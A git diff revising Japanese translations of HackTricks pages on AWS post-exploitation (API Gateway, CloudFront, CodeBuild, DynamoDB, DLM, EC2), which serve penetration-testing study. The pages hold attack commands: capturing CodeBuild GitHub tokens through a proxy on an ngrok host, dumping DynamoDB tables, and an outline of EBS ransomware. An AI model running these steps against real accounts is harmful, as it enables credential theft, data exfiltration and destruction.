diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index e2fe70e0e..02eb4c550 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -10,37 +10,37 @@ ../aws-services/aws-api-gateway-enum.md {{#endref}} -### 公開されていないAPIへのアクセス +### 未公開APIへのアクセス [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) でサービス `com.amazonaws.us-east-1.execute-api` を使用してエンドポイントを作成し、アクセス可能なネットワーク(EC2マシン経由の可能性あり)でエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てます。\ その後、EC2マシンからエンドポイントにアクセスできるようになり、以前は公開されていなかったゲートウェイAPIを呼び出すことができます。 -### リクエストボディのパススルーをバイパスする +### リクエストボディのパススルーをバイパス この技術は[**このCTFの解説**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)で見つかりました。 [AWSのドキュメント](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)の`PassthroughBehavior`セクションに示されているように、デフォルトでは、**`WHEN_NO_MATCH`**の値は、リクエストの**Content-Type**ヘッダーをチェックする際に、リクエストを変換せずにバックエンドに渡します。 -したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**: +したがって、CTFではAPI Gatewayに統合テンプレートがあり、`Content-Type: application/json`でリクエストが送信されたときに**フラグが応答で流出するのを防いでいました**。 ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` -しかし、**`Content-type: text/json`**を使用してリクエストを送信すると、そのフィルターを回避できます。 +しかし、**`Content-type: text/json`**を持つリクエストを送信することで、そのフィルターを回避できます。 -最後に、API Gatewayが`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした: +最後に、API Gatewayは`Get`と`Options`のみを許可していたため、ボディにクエリを含むPOSTリクエストを送信し、ヘッダー`X-HTTP-Method-Override: GET`を使用することで、任意のdynamoDBクエリを制限なしに送信することが可能でした: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` ### Usage Plans DoS -**列挙**セクションでは、**使用プラン**を**取得する**方法を確認できます。キーを持っていて、それが**月あたりX回の使用に制限されている**場合、**単に使用してDoSを引き起こす**ことができます。 +**Enumeration** セクションでは、キーの **使用プラン** を **取得する方法** を確認できます。キーがあり、**月あたりの使用回数がX回に制限されている**場合、**それを使用してDoSを引き起こすことができます**。 -**APIキー**は、**`x-api-key`**という**HTTPヘッダー**に**含める**必要があります。 +**API Key** は、**`x-api-key`** という **HTTPヘッダー** に **含める** 必要があります。 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -`apigateway:UpdateGatewayResponse`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。 +`apigateway:UpdateGatewayResponse` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のGateway Responseを変更して、機密情報を漏洩させるカスタムヘッダーやレスポンステンプレートを含めたり、悪意のあるスクリプトを実行させたりすることができます**。 ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -96,7 +96,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログを無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。 +`apigateway:UpdateRestApi`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**API Gateway REST APIの設定を変更してログ記録を無効にしたり、最小TLSバージョンを変更したりすることができ、APIのセキュリティを弱める可能性があります**。 ```bash API_ID="your-api-id" @@ -113,7 +113,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。 +`apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および`apigateway:CreateUsagePlanKey`の権限を持つ攻撃者は、**新しいAPIキーを作成し、それらを使用プランに関連付け、これらのキーを使用してAPIへの未承認のアクセスを行うことができます**。 ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -127,6 +127,6 @@ aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_K **潜在的な影響**: APIリソースへの不正アクセス、セキュリティコントロールのバイパス。 > [!NOTE] -> テストが必要です +> テストが必要 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 765b39731..67c298cbc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -12,7 +12,7 @@ ### 中間者攻撃 -この[**ブログ記事**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を追加(または既に使用されている場合は修正)して、**CloudFrontを通じた通信**でユーザー情報(セッション**クッキー**など)を**盗む**ことや、**レスポンス**を**変更する**(悪意のあるJSスクリプトを注入する)いくつかの異なるシナリオが提案されています。 +この[**ブログ投稿**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)では、**Lambda**を**CloudFront**を通じた**通信**に追加(または既に使用されている場合は変更)することで、ユーザー情報(セッション**クッキー**など)を**盗む**ことと、**応答**を**変更**する(悪意のあるJSスクリプトを注入する)いくつかの異なるシナリオが提案されています。 #### シナリオ 1: CloudFrontがバケットのHTMLにアクセスするように設定されているMitM @@ -20,12 +20,12 @@ - CloudFrontディストリビューションに**関連付け**ます。 - **イベントタイプを「Viewer Response」に設定**します。 -レスポンスにアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。 +応答にアクセスすることで、ユーザーのクッキーを盗み、悪意のあるJSを注入できます。 #### シナリオ 2: CloudFrontが既にlambda関数を使用しているMitM -- 機密情報を盗むためにlambda関数の**コードを修正**します。 +- 機密情報を盗むためにlambda関数の**コードを変更**します。 -このシナリオを再現するための[**tfコードはこちらで確認できます**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)。 +このシナリオを再現するための[**tfコードはこちら**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main)で確認できます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index d9c87d340..a455dd6c5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - CodeBuild Post Exploitation +# AWS - CodeBuild ポストエクスプロイテーション {{#include ../../../../banners/hacktricks-training.md}} @@ -12,23 +12,23 @@ ### シークレットの確認 -Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定された資格情報が、個人トークン、パスワード、またはOAuthトークンアクセスの形式である場合、これらの**資格情報はシークレットマネージャーにシークレットとして保存されます**。\ +もし認証情報がCodebuildに設定されてGithub、Gitlab、またはBitbucketに接続するための個人トークン、パスワード、またはOAuthトークンアクセスの形で設定されている場合、これらの**認証情報はシークレットマネージャーにシークレットとして保存されます**。\ したがって、シークレットマネージャーを読み取るアクセス権があれば、これらのシークレットを取得し、接続されたプラットフォームにピボットすることができます。 {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### CodeBuildリポジトリアクセスの悪用 +### CodeBuild リポジトリアクセスの悪用 -**CodeBuild**を構成するには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります: +**CodeBuild**を構成するためには、使用するコードリポジトリへの**アクセスが必要です**。このコードをホストしているプラットフォームはいくつかあります:
-**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。 +**CodeBuildプロジェクトは、設定されたソースプロバイダーへのアクセスを持っている必要があります**。これは**IAMロール**を介して、またはgithub/bitbucketの**トークンまたはOAuthアクセス**を介して行われます。 -**CodeBuildで権限が昇格した攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された資格情報がアクセスできる他のリポジトリを漏洩させることができます。\ -これを行うには、攻撃者は単に**設定された資格情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**(awsのウェブサイトがすべてをリストアップします): +**CodeBuild**で**昇格した権限を持つ攻撃者**は、この設定されたアクセスを悪用して、設定されたリポジトリのコードや、設定された認証情報がアクセスできる他のリポジトリを漏洩させることができます。\ +これを行うために、攻撃者は単に**設定された認証情報がアクセスできる各リポジトリのリポジトリURLを変更する必要があります**(awsのウェブサイトがすべてをリストアップします):
@@ -40,7 +40,7 @@ Github、Gitlab、またはBitbucketに接続するためにCodebuildに設定 ### AWS CodeBuildからのアクセス・トークンの漏洩 -CodeBuildでGithubのようなプラットフォームに与えられたアクセスを漏洩させることができます。外部プラットフォームへのアクセスが与えられたかどうかを確認してください: +CodeBuildで与えられたアクセスをGithubなどのプラットフォームに漏洩させることができます。外部プラットフォームへのアクセスが与えられているか確認してください: ```bash aws codebuild list-source-credentials ``` @@ -71,6 +71,6 @@ aws codebuild untag-resource --resource-arn --tag-keys ```sql aws codebuild delete-source-credentials --arn ``` -**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられる。 +**潜在的な影響**: ソース認証情報の削除により、影響を受けたリポジトリに依存するアプリケーションの正常な機能が妨げられること。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index ab0a44ebb..a81180930 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -10,19 +10,19 @@ aws codebuild list-source-credentials ``` ### Via Docker Image -もし、例えばGithubへの認証がアカウントに設定されていることがわかった場合、Codebuildに**特定のDockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**(**GHトークンまたはOAuthトークン**)を**抽出**することができます。 +アカウントに対して例えばGithubへの認証が設定されていることがわかった場合、Codebuildに**特定のdockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス**(**GHトークンまたはOAuthトークン**)を**抽出**することができます。 -この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のものの**環境**を変更して**Dockerイメージ**を設定することができます。 +この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの**環境**を変更して**Dockerイメージ**を設定することができます。 -使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定する非常に基本的なDockerイメージです。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。 +使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは非常に基本的なDockerイメージで、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定します。これにより、**`https_proxy`**および**`http_proxy`**で指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**で指定されたSSL CERTを信頼することができます。 1. **自分のDocker MitMイメージを作成してアップロード** -- リポジトリの指示に従って、プロキシIPアドレスを設定し、SSL証明書を設定して**Dockerイメージをビルド**します。 -- メタデータエンドポイントへのリクエストを傍受しないように、**`http_proxy`を設定しないでください**。 -- **`ngrok`**を使用して、`ngrok tcp 4444`のようにプロキシをホストに設定できます。 +- リポジトリの指示に従ってプロキシIPアドレスを設定し、SSL証明書を設定して**dockerイメージをビルド**します。 +- メタデータエンドポイントへのリクエストを傍受しないように**`http_proxy`を設定しないでください**。 +- **`ngrok`**を使用してプロキシをホストに設定することができます(例:`ngrok tcp 4444`)。 - Dockerイメージがビルドされたら、**パブリックリポジトリにアップロード**します(Dockerhub、ECR...)。 2. **環境を設定** -- **新しいCodebuildプロジェクトを作成**するか、既存のものの環境を**変更**します。 +- **新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの環境を**変更**します。 - プロジェクトを**以前に生成したDockerイメージ**を使用するように設定します。
@@ -36,7 +36,7 @@ mitmproxy --listen-port 4444 --allow-hosts "github.com" > [!TIP] > 使用された**mitmproxyのバージョンは9.0.1**であり、バージョン10ではこれが機能しない可能性があると報告されています。 -4. **ビルドを実行し、認証情報をキャプチャする** +4. **ビルドを実行し、資格情報をキャプチャする** - **Authorization**ヘッダーにトークンが表示されます: @@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -**Codebuild** プロジェクトには、APIからのみ変更できるウェブに隠された **`insecureSsl`** という設定があります。\ -これを有効にすると、Codebuild はプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。 +**Codebuild** プロジェクトには、ウェブ上では隠されている **`insecureSsl`** という設定があり、APIからのみ変更できます。\ +これを有効にすると、Codebuildはプラットフォームが提供する証明書を **確認せずに** リポジトリに接続できるようになります。 - まず、次のようなもので現在の設定を列挙する必要があります: ```bash aws codebuild batch-get-projects --name ``` -- その後、収集した情報を使ってプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください(これは収集した設定から変更する必要がある唯一の項目です)。 -- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください: +- その後、収集した情報を使用してプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注意してください(これは収集した設定から変更する必要がある唯一の項目です)。 +- さらに、tcp ngrokを指す環境変数 **http_proxy** と **https_proxy** も追加してください。 ```bash aws codebuild update-project --name \ --source '{ @@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- 最後に、**プロジェクトをビルド**をクリックすると、**認証情報**が**平文**(base64)でmitmポートに**送信されます**: +- 最後に、**Build the project**をクリックすると、**credentials**が**クリアテキスト**(base64)でmitmポートに**送信されます**:
### ~~HTTPプロトコル経由~~ -> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(金曜日だと思います)。したがって、攻撃者はもはやこれを悪用できません :)** +> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されました(おそらく金曜日)。したがって、攻撃者はもはやこれを悪用できません :)** -**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、権限がOAuth経由で設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。 +**CodeBuildでの権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、OAuth経由で権限が設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。 - 攻撃者は、CodeBuildプロジェクトに**http_proxy**と**https_proxy**の環境変数を追加し、自分のマシンを指すことができます(例えば`http://5.tcp.eu.ngrok.io:14972`)。 @@ -144,8 +144,8 @@ mitm.run()
-- 次に、GitHubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば:`http://github.com/carlospolop-forks/TestActions` -- 次に、プロキシ変数(http_proxyとhttps_proxy)で指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)の基本的な例を実行します。 +- 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば: `http://github.com/carlospolop-forks/TestActions` +- その後、プロキシ変数(http_proxyとhttps_proxy)によって指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。 ```python from mitm import MITM, protocol, middleware, crypto @@ -162,7 +162,7 @@ mitm.run() ```sh aws codebuild start-build --project-name ``` -- 最後に、**credentials**は**平文**(base64)でmitmポートに**送信されます**: +- 最後に、**資格情報**は**平文**(base64)でmitmポートに送信されます:
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index bc48988a0..cf34fa00a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - DLM Post Exploitation +# AWS - DLMポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} @@ -6,9 +6,9 @@ ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、他のAWSアカウントのKMSキーを使用してスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送するAmazon DLMを利用できます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。 +ランサムウェア攻撃は、できるだけ多くのEBSボリュームを暗号化し、その後現在のEC2インスタンス、EBSボリューム、およびスナップショットを削除することで実行できます。この悪意のある活動を自動化するために、Amazon DLMを使用し、別のAWSアカウントのKMSキーでスナップショットを暗号化し、暗号化されたスナップショットを別のアカウントに転送することができます。あるいは、暗号化なしでスナップショットを管理しているアカウントに転送し、そこで暗号化することも可能です。既存のEBSボリュームやスナップショットを直接暗号化するのは簡単ではありませんが、新しいボリュームやスナップショットを作成することで可能です。 -まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するコマンドを使用します。 +まず、インスタンスID、ボリュームID、暗号化ステータス、アタッチメントステータス、ボリュームタイプなどのボリュームに関する情報を収集するためのコマンドを使用します。 `aws ec2 describe-volumes` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 2a563f287..f180f39e2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -4,7 +4,7 @@ ## DynamoDB -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,7 +12,7 @@ ### `dynamodb:BatchGetItem` -この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**(テーブルのすべてのデータを単に要求することはできません)。これは、プライマリキーを知っている必要があることを意味します(これはテーブルメタデータを取得することで得られます(`describe-table`)。 +この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**(テーブルのすべてのデータを要求することはできません)。これは、プライマリキーを知っている必要があることを意味します(これはテーブルメタデータを取得することで得られます(`describe-table`))。 {{#tabs }} {{#tab name="json file" }} @@ -47,7 +47,7 @@ aws dynamodb batch-get-item \ ### `dynamodb:GetItem` -**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します: +**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -79,7 +79,7 @@ aws dynamodb transact-get-items \ ### `dynamodb:Query` -**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較(必ず表示される必要があります)は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。 +**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。 {{#tabs }} {{#tab name="json file" }} @@ -119,7 +119,7 @@ aws dynamodb scan --table-name #Get data inside the table ### `dynamodb:PartiQLSelect` -この権限を使用すると、**テーブル全体を簡単にダンプできます**。 +この権限を使用して、**テーブル全体を簡単にダンプできます**。 ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" @@ -144,12 +144,12 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -注意:これが機能するためには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます: +この機能を利用するには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -もしそれが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です: +それが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です。 ```bash aws dynamodb update-continuous-backups \ --table-name \ @@ -159,14 +159,14 @@ aws dynamodb update-continuous-backups \ ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる(または、バックアップを作成してから別のテーブルに復元することもできる)。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップからの**情報**を確認することができる。 +これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる(または、別のテーブルに復元するためにバックアップを作成することさえできる)。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップから**情報**を確認することができる。 ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**潜在的な影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格 +**潜在的影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格 ### `dynamodb:PutItem` @@ -206,7 +206,7 @@ aws dynamodb put-item \ ### `dynamodb:UpdateItem` -この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**のではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。** +この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**ものではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。** {{#tabs }} {{#tab name="XSS Example" }} @@ -262,14 +262,14 @@ aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不能。 +**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不可能。 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: これが実際に機能するかテストする -これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます**。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。 +これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。 1. DynamoDBテーブルでストリームを有効にする: ```bash @@ -292,12 +292,12 @@ bashCopy codeaws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します: +4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します: ```bash bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。 +**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index a2006b2e8..244d4a595 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,4 +1,4 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC ポストエクスプロイテーション {{#include ../../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ ### **悪意のあるVPCミラー -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、受信および送信トラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。\ +VPCトラフィックミラーリングは、**VPC内のEC2インスタンスのために、インバウンドおよびアウトバウンドトラフィックを複製します**。これは、インスタンス自体に何もインストールする必要がありません。この複製されたトラフィックは、一般的にネットワーク侵入検知システム(IDS)などに送信され、分析および監視されます。\ 攻撃者はこれを悪用して、すべてのトラフィックをキャプチャし、そこから機密情報を取得することができます: 詳細については、このページを確認してください: @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### 実行中のインスタンスのコピー -インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります([EC2特権昇格のトリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください)。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)**: +インスタンスには通常、何らかの機密情報が含まれています。内部に入る方法はいくつかあります([EC2特権昇格トリック](../../aws-privilege-escalation/aws-ec2-privesc.md)を確認してください)。ただし、含まれているものを確認する別の方法は、**AMIを作成し、それから新しいインスタンスを実行することです(自分のアカウントであっても)**: ```shell # List instances aws ec2 describe-images @@ -56,7 +56,7 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west aws-ebs-snapshot-dump.md {{#endref}} -### データ流出 +### データの流出 #### DNS流出 @@ -64,7 +64,7 @@ EC2をロックダウンしてトラフィックが外に出られないよう - 